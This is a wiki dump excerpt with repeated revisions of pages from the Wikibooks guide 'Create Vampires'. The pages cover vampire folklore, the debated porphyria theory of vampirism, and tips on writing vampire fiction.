| Vampire Memes? [[Create Vampires/Vampires Memes|Create Vampires/Vampires Memes - Wikibooks, open books for an open world]]
|-
|'''Are Vampires Real? Historical Construct''' [[Create Vampires/What Is A Historical Construct|Create Vampires/What Is A Historical Construct - Wikibooks, open books]]
|-
|[[Create Vampires/Factual Basis For Vampires]]
|-
|History of Vampires: [[Create Vampires/Vampire History]] 
|-
|  [[Create Vampires/Scientific Evidence| &quot;Science and Vampirism&quot;]]
|-
| For Vampires: [[Create Vampires/Scientific Evidence For Vampires| &quot;Scientific Evidence For Vampires&quot;]]
|-
| Against Vampires: [[Create Vampires/Scientific Evidence Against Vampirism| &quot;Scientific Evidence Against Vampires&quot;]]
|-
| Writing Vampire Prose: [[Create Vampires/Writing Vampire Prose| &quot;Writing Vampire Prose&quot;]]
|-
|- Are Vampires Real? Historical Construct
|-
| [[Create Vampires/Ethics Of Creating Vampire Lore|Create Vampires/Ethics Of Creating Vampire Lore - Wikibooks, open books for an open world]]
|-
|Public Domain Primary Sources: [[Create Vampires/PublicDomainPrimarySources]]
|-
| Information for Spanish speakers: [[:es:Vampiro|&quot;Vampiro&quot;]] &lt;br /&gt;
|-
| [[:w:Vampire|&quot;Wikipedia: Vampire&quot;]]
|-
| [[:Category:Book:Create Vampires|List of All Pages in This Book]]
|}

== Reference ==


{{WikipediaCredit}}
&lt;br /&gt;
{{Shelves|Literature|Paranormal|Cultural anthropology}}
{{Status|75%}}</text>
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      <text bytes="6232" sha1="40a4ebej3hazsdznj7e5dgb5aifqhnz" xml:space="preserve">{{Formatting}}
 &lt;br&gt;''Create Vampires'' is a book intended as a guide to avoid literary pitfalls, and as a nonfiction resource for those fascinated by vampires. This book examines vampires through a cultural, literary, and historical lens to help writers create authentic vampire narratives.

== Vampires ''Of The Imagination'' ==

Although vampires are creatures of folklore, monsters from the ''afterlife'' that are sometimes called the &quot;undead,&quot; vampires are uniquely different from ghost, those lingering spirits who refuse to die.

Although vampires, by definition, are animated corpses, most vampires ''of the imagination'' must feed on human blood in order to continue their earthly existence. This unique quality makes vampires a popular and original type of fiction, slightly different from other creatures found in folklore. Because of their unique characteristics, vampires have become massively popular in popular culture and in literature. 

We hope this book will clear up many misconceptions, and common misunderstandings associated with the &quot;undead,&quot; especially a common confusion ''about'' the actual people who did inspire vampire folklore, verses the evolved horror creations called vampires of the imagination.

'''Create Vampires''' aims to treat vampires as a cultural, literary and historical construct. Perhaps Create Vampires should be considered a friendly craft-manual for building a believable vampire concept, available across different medias.

== Preface: The Factual Roots Of Vampires ==
&lt;br /&gt;
{| class=&quot;wikitable&quot;
|-
! Factual Basis For Vampires?
|-
| [[/Factual Basis For Vampires/]] is a special page intended to offer information about the factual bases for vampires.
|}
&lt;br&gt;
'''What Type Of Book Is This?'''
&lt;br /&gt;
{| class=&quot;wikitable&quot;
|-
! '''Create Vampires''' is one of many free Wikibooks
|-
|  Wikibooks.org is a part of the Wikimedia project. Writers and contributors are volunteers who cull through websites, &lt;BR&gt; use online search engines to find facts, and volunteer to work on special projects that are open to the public. &lt;BR&gt; Volunteers are people who write, edit, and help people understand the powerful tools at their fingertips.
|}
{| class=&quot;wikitable&quot;
|-
! Edvard Munch - Love and Pain / Vampire (1895) || &quot;Les Vampires&quot;
|-
| [[File:Edvard Munch - Vampire (1895) - Google Art Project.jpg|thumb|Edvard Munch - Vampire (1895) - Google Art Project]] || [[File:Les vampires.jpg|thumb|Les vampires]]
|}


== All About Vampires ==
 '''Not All Links Work'''

{| class=&quot;wikitable&quot;
|-
! Table Of Content
|-
| Introduction: [[Create Vampires/Original Fictional Creations|&quot;Original Fictional Creations&quot;]]
|-
| Proper Spelling: [[Create Vampires /Vam-Pai-Yer| &quot;How Do You Spell Vam-Pai-Yer?&quot;]]
|-
| [[Create Vampires/Alternative Spelling| &quot;Alternative Spellings&quot;]]
|-
| What ''Is'' A Vampire? [[Create Vampires /ADefinitionForVampire|Create Vampires /ADefinitionForVampire - Wikibooks, open books for an open world]]
|-
| Why Create A Vampire? : [[Create_Vampires/Why_Create_Vampires]]
|-
|- '''Cultural Origins'''
|-
|'''Cultural Vampire Construct'''
|-
|What Is A Cultural Construct? - [[Create Vampires/Cultural Construct|Create Vampires/Cultural Construct - Wikibooks, open books for an open world]]
|-
| '''Vampire Folklore: [[Create Vampires/HistoricalAndCross-CulturalOriginsOfVampireArchetypes]]'''
|-
| African Folklore: [[Create Vampires/AfricanFolklore]]
|-
| Latin-American Folklore: [[Create Vampires/LatinAmericanFolklore|Create Vampires/LatinAmericanFolklore - Wikibooks, open books for an open world]]
|-
| Asian Folklore: [[Create Vampires/Asian Folklore#Asian Folklore|Create Vampires/Asian Folklore - Wikibooks, open books for an open world]]
|-
|Eastern Folklore: [[Create Vampires/Eastern European Folklore| &quot;Eastern European Folklore&quot;]]
|-
| Eastern Folklore: [[Create_Vampires/Dracula_Behind_Vlad-The_Impaler]]
|-
|[[Create Vampires/HowCulturalTraditionsShapedVampireTraits|Create Vampires/HowCulturalTraditionsShapedVampireTraits - Wikibooks, open books for an open world]]
|-
|- '''Literary Construct'''
|-
|'''Literary Construct'''
|-
|What Is A Literary Trope? [[Create Vampires/What Is A Literary Trope]] 
|-
| Literary And Media Pitfalls To Avoid: [[Create Vampires/Examples Of Literary Pitfalls|Create Vampires/Examples Of Literary Pitfalls - Wikibooks, open books for an open world]]
|-
| Authors Who Created Influential Vampires Of The Imagination: [[Create Vampires/Authors Who Created Vampire Tropes]] 
|-
| [[Create Vampires/writers who did not create vampires| &quot;Writers Who Did Not Create Vampires&quot;]]
|-
| Popular Culture: [[Create Vampires/Vampires In Popular Culture|Create Vampires/Vampires In Popular Culture - Wikibooks, open books for an open world]]
|-
| Vampire Memes? [[Create Vampires/Vampires Memes|Create Vampires/Vampires Memes - Wikibooks, open books for an open world]]
|-
|'''Are Vampires Real? Historical Construct''' [[Create Vampires/What Is A Historical Construct|Create Vampires/What Is A Historical Construct - Wikibooks, open books]]
|-
|[[Create Vampires/Factual Basis For Vampires]]
|-
|History of Vampires: [[Create Vampires/Vampire History]] 
|-
|  [[Create Vampires/Scientific Evidence| &quot;Science and Vampirism&quot;]]
|-
| For Vampires: [[Create Vampires/Scientific Evidence For Vampires| &quot;Scientific Evidence For Vampires&quot;]]
|-
| Against Vampires: [[Create Vampires/Scientific Evidence Against Vampirism| &quot;Scientific Evidence Against Vampires&quot;]]
|-
| Writing Vampire Prose: [[Create Vampires/Writing Vampire Prose| &quot;Writing Vampire Prose&quot;]]
|-
|- Are Vampires Real? Historical Construct
|-
| [[Create Vampires/Ethics Of Creating Vampire Lore|Create Vampires/Ethics Of Creating Vampire Lore - Wikibooks, open books for an open world]]
|-
|Public Domain Primary Sources: [[Create Vampires/PublicDomainPrimarySources]]
|-
| Information for Spanish speakers: [[:es:Vampiro|&quot;Vampiro&quot;]] &lt;br /&gt;
|-
| Closing: [[Create Vampires /All About Vampires#All About Vampires|Create Vampires /All About Vampires - Wikibooks, open books for an open world]]
|-
| [[:Category:Book:Create Vampires|List of All Pages in This Book]]
|}

== Reference ==


{{WikipediaCredit}}
&lt;br /&gt;
{{Shelves|Literature|Paranormal|Cultural anthropology}}
{{Status|75%}}</text>
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 &lt;br&gt;''Create Vampires'' is a book intended as a guide to avoid literary pitfalls, and as a nonfiction resource for those fascinated by vampires. This book examines vampires through a cultural, literary, and historical lens to help writers create authentic vampire narratives.

== Vampires ''Of The Imagination'' ==

Although vampires are creatures of folklore, monsters from the ''afterlife'' that are sometimes called the &quot;undead,&quot; vampires are uniquely different from ghost, those lingering spirits who refuse to die.

Although vampires, by definition, are animated corpses, most vampires ''of the imagination'' must feed on human blood in order to continue their earthly existence. This unique quality makes vampires a popular and original type of fiction, slightly different from other creatures found in folklore. Because of their unique characteristics, vampires have become massively popular in popular culture and in literature. 

We hope this book will clear up many misconceptions, and common misunderstandings associated with the &quot;undead,&quot; especially a common confusion ''about'' the actual people who did inspire vampire folklore, verses the evolved horror creations called vampires of the imagination.

'''Create Vampires''' aims to treat vampires as a cultural, literary and historical construct. Perhaps Create Vampires should be considered a friendly craft-manual for building a believable vampire concept, available across different medias.

== Preface: The Factual Roots Of Vampires ==
&lt;br /&gt;
{| class=&quot;wikitable&quot;
|-
! Factual Basis For Vampires?
|-
| [[/Factual Basis For Vampires/]] is a special page intended to offer information about the factual bases for vampires.
|}
&lt;br&gt;
'''What Type Of Book Is This?'''
&lt;br /&gt;
{| class=&quot;wikitable&quot;
|-
! '''Create Vampires''' is one of many free Wikibooks
|-
|  Wikibooks.org is a part of the Wikimedia project. Writers and contributors are volunteers who cull through websites, &lt;BR&gt; use online search engines to find facts, and volunteer to work on special projects that are open to the public. &lt;BR&gt; Volunteers are people who write, edit, and help people understand the powerful tools at their fingertips.
|}
{| class=&quot;wikitable&quot;
|-
! Edvard Munch - Love and Pain / Vampire (1895) || &quot;Les Vampires&quot;
|-
| [[File:Edvard Munch - Vampire (1895) - Google Art Project.jpg|thumb|Edvard Munch - Vampire (1895) - Google Art Project]] || [[File:Les vampires.jpg|thumb|Les vampires]]
|}


== All About Vampires ==
 '''Not All Links Work'''

{| class=&quot;wikitable&quot;
|-
! Table Of Content
|-
| Introduction: [[Create Vampires/Original Fictional Creations|&quot;Original Fictional Creations&quot;]]
|-
| Proper Spelling: [[Create Vampires /Vam-Pai-Yer| &quot;How Do You Spell Vam-Pai-Yer?&quot;]]
|-
| [[Create Vampires/Alternative Spelling| &quot;Alternative Spellings&quot;]]
|-
| What ''Is'' A Vampire? [[Create Vampires /ADefinitionForVampire|Create Vampires /ADefinitionForVampire - Wikibooks, open books for an open world]]
|-
| Why Create A Vampire? : [[Create_Vampires/Why_Create_Vampires]]
|-
|- '''Cultural Origins'''
|-
|'''Cultural Vampire Construct'''
|-
|What Is A Cultural Construct? - [[Create Vampires/Cultural Construct|Create Vampires/Cultural Construct - Wikibooks, open books for an open world]]
|-
| '''Vampire Folklore: [[Create Vampires/HistoricalAndCross-CulturalOriginsOfVampireArchetypes]]'''
|-
| African Folklore: [[Create Vampires/AfricanFolklore]]
|-
| Latin-American Folklore: [[Create Vampires/LatinAmericanFolklore|Create Vampires/LatinAmericanFolklore - Wikibooks, open books for an open world]]
|-
| Asian Folklore: [[Create Vampires/Asian Folklore#Asian Folklore|Create Vampires/Asian Folklore - Wikibooks, open books for an open world]]
|-
|Eastern Folklore: [[Create Vampires/Eastern European Folklore| &quot;Eastern European Folklore&quot;]]
|-
| Eastern Folklore: [[Create_Vampires/Dracula_Behind_Vlad-The_Impaler]]
|-
|[[Create Vampires/HowCulturalTraditionsShapedVampireTraits|Create Vampires/HowCulturalTraditionsShapedVampireTraits - Wikibooks, open books for an open world]]
|-
|- '''Literary Construct'''
|-
|'''Literary Construct'''
|-
|What Is A Literary Trope? [[Create Vampires/What Is A Literary Trope]] 
|-
| Literary And Media Pitfalls To Avoid: [[Create Vampires/Examples Of Literary Pitfalls|Create Vampires/Examples Of Literary Pitfalls - Wikibooks, open books for an open world]]
|-
| Authors Who Created Influential Vampires Of The Imagination: [[Create Vampires/Authors Who Created Vampire Tropes]] 
|-
| [[Create Vampires/writers who did not create vampires| &quot;Writers Who Did Not Create Vampires&quot;]]
|-
| Popular Culture: [[Create Vampires/Vampires In Popular Culture|Create Vampires/Vampires In Popular Culture - Wikibooks, open books for an open world]]
|-
| Vampire Memes? [[Create Vampires/Vampires Memes|Create Vampires/Vampires Memes - Wikibooks, open books for an open world]]
|-
|'''Are Vampires Real? Historical Construct''' [[Create Vampires/What Is A Historical Construct|Create Vampires/What Is A Historical Construct - Wikibooks, open books]]
|-
|[[Create Vampires/Factual Basis For Vampires]]
|-
|History of Vampires: [[Create Vampires/Vampire History]] 
|-
|  [[Create Vampires/Scientific Evidence| &quot;Science and Vampirism&quot;]]
|-
| For Vampires: [[Create Vampires/Scientific Evidence For Vampires| &quot;Scientific Evidence For Vampires&quot;]]
|-
| Against Vampires: [[Create Vampires/Scientific Evidence Against Vampirism| &quot;Scientific Evidence Against Vampires&quot;]]
|-
| Writing Vampire Prose: [[Create Vampires/Writing Vampire Prose| &quot;Writing Vampire Prose&quot;]]
|-
|- Are Vampires Real? Historical Construct
|-
| [[Create Vampires/Ethics Of Creating Vampire Lore|Create Vampires/Ethics Of Creating Vampire Lore - Wikibooks, open books for an open world]]
|-
|Public Domain Primary Sources: [[Create Vampires/PublicDomainPrimarySources]]
|-
| Information for Spanish speakers: [[:es:Vampiro|&quot;Vampiro&quot;]] &lt;br /&gt;
|-
| Closing: [[Create Vampires /All About Vampires#All About Vampires|Create Vampires /All About Vampires - Wikibooks, open books for an open world]]
|-
| [[:Category:Book:Create Vampires|List of All Pages in This Book]]
|}

== Reference ==


{{WikipediaCredit}}
&lt;br /&gt;
{{Shelves|Literature|Paranormal|Cultural anthropology}}
{{Status|75%}}</text>
      <sha1>opbqi7ecdjqufq9naf26yhs7rdgxzs2</sha1>
    </revision>
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    <title>Create Vampires/Scientific Evidence Against Vampirism</title>
    <ns>0</ns>
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    <revision>
      <id>4670423</id>
      <parentid>4670342</parentid>
      <timestamp>2026-09-16T13:19:20Z</timestamp>
      <contributor>
        <username>3MMPEYTON</username>
        <id>3393808</id>
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      <text bytes="4591" sha1="s5c2yxz6sv89ljki3sps28fsh7l6f2i" xml:space="preserve">== Scientific Evidence Against Vampirism ==
&lt;br&gt;
                                                        
        '''''Medicalization of a Myth''''' 
 
&lt;br&gt;
The authors Winkler and Anderson, responding to a proposal suggested by David H. Dolphin, linking a disease named porphyria with vampirism the &quot;medicalization of a myth.&quot;
[https://www.atlasobscura.com/articles/myth-medical-explanation-vampirism-porphyria]

=== The Origin Of A Myth, Or A New Medical Condition? === 

David Dolphin, sharing his original hypothesis, speculated in the mid-1980s that a disease known as porphyria maybe the root cause of vampirism and werewolf myths.

David Dolphin's proposal eventually sparked criticism and debate. 
A 1995 article in ''Postgraduate Medical Journal'' questioned the evidence Dolphin presented, while other observers questioned the quality of the information he shared on television, and at a talk conference.  

'''The &quot;Vampire Disease&quot;''' &lt;br&gt;
It seems that the history of understanding, and classifying &quot;vampirism&quot; is long and lengthy. &lt;br&gt;
According to Kennedy, a major contributor to the article: ''The Myth of a Medical Explanation for Vampirism'', the myth of vampirism has evolved, mutated, changed shape, yet stuck around &quot;for millennia.&quot; C &lt;br&gt;
&lt;br&gt;
Porphyria has been called the &quot;vampire disease&quot; because of its similar nature to people considered vampires...at least that is the story some people claim. &lt;br&gt;
Today's popular vampire mythology draws on Slavic folklore, and 18th century stories. These stories commonly involved a recently &lt;u&gt;declared&lt;/u&gt; deceased family member, who, upon exhumation, meaning when un-buried, had little signs of decomposer, and appeared to be &quot;full of fresh blood.&quot;
This may be a explanation for why people, called vampires, are also called &quot;un-dead.&quot; &lt;br&gt;
&lt;br&gt;
The people of 19th century New England continued this train-of-thought, and according to ''The Myth Of A Medical Explanation For Vampirism,''[https://www.atlasobscura.com/articles/myth-medical-explanation-vampirism-porphyria] this type-of-thought influenced ''Carmilla'' [1871] and ''Dracula,'' [1897] novels featuring vampires that were &quot;mobile,&quot; more underground &quot;un-dead.&quot; &lt;br&gt; 
&lt;br&gt;
Behaviors associated with vampirism, such as hallucinating tendencies, have been linked with similar diseases such as rabies. &lt;br&gt;
Many critics of David H. Dolphin's hypothesis, objected to the practice of connecting vampiric characteristics to diseases that are known and understood.
The ''New York Times'' reported David H. Dolphin's hypothesis, noting similar symptoms porphyria shares with vampirism, such as a sensitivity to sunlight, a possible lack of a needed molecule in their blood, and sensitivity to garlic. These similar symptoms were of such importance to Dolphin, that he mentioned these symptom similarities in a 1982 speech to the Royal Society, and on a 1984 TV appearance on NBC. 
&lt;br&gt;
&lt;br&gt;
Scientist, and Medical Professionals critical of David Dolphin's links, may have thought Dolphin was trying to define vampirism as a new disease! 
In a move to disassociate porphyria with vampirism, Mary G. Winkler and Anderson, asked the general public to stop building new myths, and to focus instead on more humane treatments for patients with porphyria.  “There is a necessity for scientists and the media to set aside cynical assumptions about their audiences and consider first and foremost their responsibilities to the communities of patients who are affected by diseases and by stories about their diseases,” both authors wrote. They also wrote about patients who became depressed by reports in the media linking porphyria, their illness, with vampirism. &lt;br&gt;
In general, sympathy does extent to people in need of better treatment for their disease, yet porphyria is also known as the &quot;vampire disease.&quot;
&lt;br&gt;
=== What evidence do Scientist and Medical Professionals have against vampirism? ===
Members of the ''modern'' medical profession publicly stated that vampire myths probably derive from misunderstandings concerning death (and decomposition). 
&lt;br&gt; Ironically, if vampire myths contain some truthful parts, it is the people with family members who have been called vampires &lt;u&gt;who should claim&lt;/u&gt; that modern medical Doctors do not seem to understand death, or simple techniques needed to ensure that a living person is not buried alive against their will.
&lt;br&gt;
&lt;br&gt;
Link: https://en.wikibooks.org/wiki/Create_Vampires/Scientific_Evidence_For_Vampires
&lt;br&gt;
&lt;br&gt;
https://en.wikibooks.org/wiki/Create_Vampires/Ethics_Of_Creating_Vampire_Lore
&lt;br&gt;
&lt;br&gt;
{{BookCat}}</text>
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      <text bytes="4589" sha1="g56blnii2xvh07f51loa1a7k9895zxh" xml:space="preserve">== Scientific Evidence Against Vampirism ==
&lt;br&gt;
                                                        
        '''''Medicalization of a Myth''''' 
 
&lt;br&gt;
The authors Winkler and Anderson, responding to a proposal suggested by David H. Dolphin, linking a disease named porphyria with vampirism the &quot;medicalization of a myth.&quot;
[https://www.atlasobscura.com/articles/myth-medical-explanation-vampirism-porphyria]

=== The Origin Of A Myth, Or A New Medical Condition? === 

David Dolphin, sharing his original hypothesis, speculated in the mid-1980s that a disease known as porphyria maybe the root cause of vampirism and werewolf myths.

David Dolphin's proposal eventually sparked criticism and debate. 
A 1995 article in ''Postgraduate Medical Journal'' questioned the evidence Dolphin presented, while other observers questioned the quality of the information he shared on television, and at a talk conference.  

'''The &quot;Vampire Disease&quot;''' &lt;br&gt;
It seems that the history of understanding, and classifying &quot;vampirism&quot; is long and lengthy. &lt;br&gt;
According to Kennedy, a major contributor to the article: ''The Myth of a Medical Explanation for Vampirism'', the myth of vampirism has evolved, mutated, changed shape, yet stuck around &quot;for millennia.&quot; &lt;br&gt;
&lt;br&gt;
Porphyria has been called the &quot;vampire disease&quot; because of its similar nature to people considered vampires...at least that is the story some people claim. &lt;br&gt;
Today's popular vampire mythology draws on Slavic folklore, and 18th century stories. These stories commonly involved a recently &lt;u&gt;declared&lt;/u&gt; deceased family member, who, upon exhumation, meaning when un-buried, had little signs of decomposer, and appeared to be &quot;full of fresh blood.&quot;
This may be a explanation for why people, called vampires, are also called &quot;un-dead.&quot; &lt;br&gt;
&lt;br&gt;
The people of 19th century New England continued this train-of-thought, and according to ''The Myth Of A Medical Explanation For Vampirism,''[https://www.atlasobscura.com/articles/myth-medical-explanation-vampirism-porphyria] this type-of-thought influenced ''Carmilla'' [1871] and ''Dracula,'' [1897] novels featuring vampires that were &quot;mobile,&quot; more underground &quot;un-dead.&quot; &lt;br&gt; 
&lt;br&gt;
Behaviors associated with vampirism, such as hallucinating tendencies, have been linked with similar diseases such as rabies. &lt;br&gt;
Many critics of David H. Dolphin's hypothesis, objected to the practice of connecting vampiric characteristics to diseases that are known and understood.
The ''New York Times'' reported David H. Dolphin's hypothesis, noting similar symptoms porphyria shares with vampirism, such as a sensitivity to sunlight, a possible lack of a needed molecule in their blood, and sensitivity to garlic. These similar symptoms were of such importance to Dolphin, that he mentioned these symptom similarities in a 1982 speech to the Royal Society, and on a 1984 TV appearance on NBC. 
&lt;br&gt;
&lt;br&gt;
Scientist, and Medical Professionals critical of David Dolphin's links, may have thought Dolphin was trying to define vampirism as a new disease! 
In a move to disassociate porphyria with vampirism, Mary G. Winkler and Anderson, asked the general public to stop building new myths, and to focus instead on more humane treatments for patients with porphyria.  “There is a necessity for scientists and the media to set aside cynical assumptions about their audiences and consider first and foremost their responsibilities to the communities of patients who are affected by diseases and by stories about their diseases,” both authors wrote. They also wrote about patients who became depressed by reports in the media linking porphyria, their illness, with vampirism. &lt;br&gt;
In general, sympathy does extent to people in need of better treatment for their disease, yet porphyria is also known as the &quot;vampire disease.&quot;
&lt;br&gt;
=== What evidence do Scientist and Medical Professionals have against vampirism? ===
Members of the ''modern'' medical profession publicly stated that vampire myths probably derive from misunderstandings concerning death (and decomposition). 
&lt;br&gt; Ironically, if vampire myths contain some truthful parts, it is the people with family members who have been called vampires &lt;u&gt;who should claim&lt;/u&gt; that modern medical Doctors do not seem to understand death, or simple techniques needed to ensure that a living person is not buried alive against their will.
&lt;br&gt;
&lt;br&gt;
Link: https://en.wikibooks.org/wiki/Create_Vampires/Scientific_Evidence_For_Vampires
&lt;br&gt;
&lt;br&gt;
https://en.wikibooks.org/wiki/Create_Vampires/Ethics_Of_Creating_Vampire_Lore
&lt;br&gt;
&lt;br&gt;
{{BookCat}}</text>
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  <page>
    <title>Create Vampires/Original Fictional Creations</title>
    <ns>0</ns>
    <id>415846</id>
    <revision>
      <id>4670519</id>
      <parentid>4670326</parentid>
      <timestamp>2026-09-17T00:36:54Z</timestamp>
      <contributor>
        <username>3MMPEYTON</username>
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      <text bytes="4289" sha1="nv2c7pxckcrd1l5613as0yn0rjcvyyu" xml:space="preserve">== Original Fictional Creations ==
{{chapter navigation}}
&lt;br&gt;
 '''''&lt;u&gt;HISTORY AND FOLKLORE&lt;/u&gt;'''''
Before diving in, we must first clarify the difference between History and Folklore.

'''History''', meaning inquiry, or knowledge acquired from the past by investigation, may stem from Greek ''historia'', according to Wikipedia. [[Wikipedia: |https://en.wikipedia.org/wiki/Portal:History]]&lt;br&gt;
'''History''' is related to folklore, yet is essentially different. Folklore are stories about a particular culture, yet &lt;br&gt;
Folklore, and similar legends, are told from a subjective perspective, and are not validated by external sources. &lt;br&gt;
&lt;br&gt;
Folklore and legends are classified as cultural heritage. History is not myth, mainly for reasons that involve telling a story about events that have happened in the past, and then gathering supporting evidence used to validate one's history. &lt;br&gt;
&lt;br&gt;
The study of '''History''' is a major discipline in academic fields.  

According to Wikipedia, folklore is the body of expressive culture shared by a particular group of people, culture, or subculture. [1]  

The academic study of folklore is called folklore studies or folkloristics. Interested students may approach this discipline at the undergraduate, graduate, or Ph. D levels.  

Although there are a few vampire stories that reflect actual historic events, most vampire stories have their roots in folklore.  

The nature of the vampire shifted from folklore stories that often contained warnings, to mutated stories about pale monsters and occult-ish blood lettings.   

It is as if the horrific stories about the tragic events that happened to some people, horror stories that were traditionally passed orally from person to person, started to pass culturally from one region to another region, finally emerging from the author's imagination in tangible, written form, vastly distorted, yet eerily relevant, with the mysterious ability to capture the imagination of young readers. 
&lt;br&gt;
 &lt;br&gt; &lt;u&gt;'''Creative Writing'''&lt;/u&gt;

Imaginative young readers today could greatly benefit from Creative Writing classes offered in many Public High Schools.&lt;br&gt;  
&lt;br&gt;
Creative writing classes are controversial classes in academia, yet in general, helpful to students in public schools. Creative writing programs are developing. In many public schools, creative writing classes are related to Language classes, and Art classes. &lt;br&gt;
&lt;br&gt;
'''Creative writing''' is not a discipline in academic fields. &lt;br&gt;
&lt;br&gt;
'''&lt;u&gt;Create Vampire&lt;/u&gt;''' is a free wikibook intended as a guide, and as a non-fictional resource for people fascinated by vampires and similar monsters! &lt;br&gt;
&lt;br&gt;   
 &lt;br&gt; &lt;u&gt;'''TIP:'''&lt;/u&gt; Before creating a vampire character, you could ask yourself if you want your vampire to reflect stories based in Folklore, gathered from events that happened to actual people, or you may prefer to create a vampire from your imagination. Perhaps a imaginary creation who possesses non-human traits? 


 '''&lt;u&gt;Create Vampires&lt;/u&gt;?''' 
&lt;br&gt;
In a world where people desire to make a lot of money, in the shortest amount of time. &lt;br&gt;
In a world where bank robbery is illegal, yet ''grave-robbery'' is not...? &lt;br&gt;
In a world populated by individuals who seemed ruled by greed, vampires and other monsters are sometimes spoken into some tangible, often frightening existence. &lt;br&gt;
&lt;br&gt;
If we exist in a world where characters could be spoken into existence, and allowed to linger in unusual fields bound and un-bound... If characters could linger, losing human characteristics and form, linger like ghost populating flat white spaces, if characters could attain atypical motion, yet exist like zombies without the ability to reason, or exist like demons without kindness, or exist like vampires, with constant hunger, sharing kindness with the hungry ghost who linger with desires to be fed, if such empty planes were populated by hungry, unreasoning, lingering atypical creations, mere works of the imagination, would their monster's tale be worthy of note?

&lt;br&gt;
Link:  [[Create Vampires/Why Create Vampires]]?

Link: [[Create Vampires /Vam-Pai-Yer]] '''&quot;How do you spell vampire?&quot;'''
&lt;br&gt;
&lt;br&gt;

{| class=&quot;wikitable&quot;
|+Reference Table
!Schlinkert, Jana C. (2002) p.30 
|-
|}


{{BookCat}}</text>
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      <id>4670520</id>
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      <text bytes="4266" sha1="0gtq1xt0qkv28aej95k9jtjdmrqt0et" xml:space="preserve">== Original Fictional Creations ==
&lt;br&gt;
 '''''&lt;u&gt;HISTORY AND FOLKLORE&lt;/u&gt;'''''
Before diving in, we must first clarify the difference between History and Folklore.

'''History''', meaning inquiry, or knowledge acquired from the past by investigation, may stem from Greek ''historia'', according to Wikipedia. [[Wikipedia: |https://en.wikipedia.org/wiki/Portal:History]]&lt;br&gt;
'''History''' is related to folklore, yet is essentially different. Folklore are stories about a particular culture, yet &lt;br&gt;
Folklore, and similar legends, are told from a subjective perspective, and are not validated by external sources. &lt;br&gt;
&lt;br&gt;
Folklore and legends are classified as cultural heritage. History is not myth, mainly for reasons that involve telling a story about events that have happened in the past, and then gathering supporting evidence used to validate one's history. &lt;br&gt;
&lt;br&gt;
The study of '''History''' is a major discipline in academic fields.  

According to Wikipedia, folklore is the body of expressive culture shared by a particular group of people, culture, or subculture. [1]  

The academic study of folklore is called folklore studies or folkloristics. Interested students may approach this discipline at the undergraduate, graduate, or Ph. D levels.  

Although there are a few vampire stories that reflect actual historic events, most vampire stories have their roots in folklore.  

The nature of the vampire shifted from folklore stories that often contained warnings, to mutated stories about pale monsters and occult-ish blood lettings.   

It is as if the horrific stories about the tragic events that happened to some people, horror stories that were traditionally passed orally from person to person, started to pass culturally from one region to another region, finally emerging from the author's imagination in tangible, written form, vastly distorted, yet eerily relevant, with the mysterious ability to capture the imagination of young readers. 
&lt;br&gt;
 &lt;br&gt; &lt;u&gt;'''Creative Writing'''&lt;/u&gt;

Imaginative young readers today could greatly benefit from Creative Writing classes offered in many Public High Schools.&lt;br&gt;  
&lt;br&gt;
Creative writing classes are controversial classes in academia, yet in general, helpful to students in public schools. Creative writing programs are developing. In many public schools, creative writing classes are related to Language classes, and Art classes. &lt;br&gt;
&lt;br&gt;
'''Creative writing''' is not a discipline in academic fields. &lt;br&gt;
&lt;br&gt;
'''&lt;u&gt;Create Vampire&lt;/u&gt;''' is a free wikibook intended as a guide, and as a non-fictional resource for people fascinated by vampires and similar monsters! &lt;br&gt;
&lt;br&gt;   
 &lt;br&gt; &lt;u&gt;'''TIP:'''&lt;/u&gt; Before creating a vampire character, you could ask yourself if you want your vampire to reflect stories based in Folklore, gathered from events that happened to actual people, or you may prefer to create a vampire from your imagination. Perhaps a imaginary creation who possesses non-human traits? 


 '''&lt;u&gt;Create Vampires&lt;/u&gt;?''' 
&lt;br&gt;
In a world where people desire to make a lot of money, in the shortest amount of time. &lt;br&gt;
In a world where bank robbery is illegal, yet ''grave-robbery'' is not...? &lt;br&gt;
In a world populated by individuals who seemed ruled by greed, vampires and other monsters are sometimes spoken into some tangible, often frightening existence. &lt;br&gt;
&lt;br&gt;
If we exist in a world where characters could be spoken into existence, and allowed to linger in unusual fields bound and un-bound... If characters could linger, losing human characteristics and form, linger like ghost populating flat white spaces, if characters could attain atypical motion, yet exist like zombies without the ability to reason, or exist like demons without kindness, or exist like vampires, with constant hunger, sharing kindness with the hungry ghost who linger with desires to be fed, if such empty planes were populated by hungry, unreasoning, lingering atypical creations, mere works of the imagination, would their monster's tale be worthy of note?

&lt;br&gt;
Link:  [[Create Vampires/Why Create Vampires]]?

Link: [[Create Vampires /Vam-Pai-Yer]] '''&quot;How do you spell vampire?&quot;'''
&lt;br&gt;
&lt;br&gt;

{| class=&quot;wikitable&quot;
|+Reference Table
!Schlinkert, Jana C. (2002) p.30 
|-
|}


{{BookCat}}</text>
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    </revision>
    <revision>
      <id>4670522</id>
      <parentid>4670520</parentid>
      <timestamp>2026-09-17T00:46:49Z</timestamp>
      <contributor>
        <username>3MMPEYTON</username>
        <id>3393808</id>
      </contributor>
      <comment>/* Original Fictional Creations */</comment>
      <origin>4670522</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="4291" sha1="pea05w46ylfo5kdsogcjl54se4wj4wa" xml:space="preserve">== Original Fictional Creations ==
 '''''&lt;u&gt;HISTORY AND FOLKLORE&lt;/u&gt;'''''
Before diving in, we must first clarify the difference between History and Folklore.

'''History''', meaning inquiry, or knowledge acquired from the past by investigation, may stem from Greek ''historia'', according to Wikipedia.[1] &lt;br&gt;&lt;br&gt;
'''History''' is related to folklore, yet is essentially different. Folklore are stories about a particular culture, yet &lt;br&gt;
Folklore, and similar legends, are told from a subjective perspective, and are not validated by external sources. &lt;br&gt;
&lt;br&gt;
Folklore and legends are classified as cultural heritage. History is not myth, mainly for reasons that involve telling a story about events that have happened in the past, and then gathering supporting evidence used to validate one's history. &lt;br&gt;
&lt;br&gt;
The study of '''History''' is a major discipline in academic fields.  

According to Wikipedia, folklore is the body of expressive culture shared by a particular group of people, culture, or subculture. [2]  

The academic study of folklore is called folklore studies or folkloristics. Interested students may approach this discipline at the undergraduate, graduate, or Ph. D levels.  

Although there are a few vampire stories that reflect actual historic events, most vampire stories have their roots in folklore.  

The nature of the vampire shifted from folklore stories that often contained warnings, to mutated stories about pale monsters and occult-ish blood lettings.   

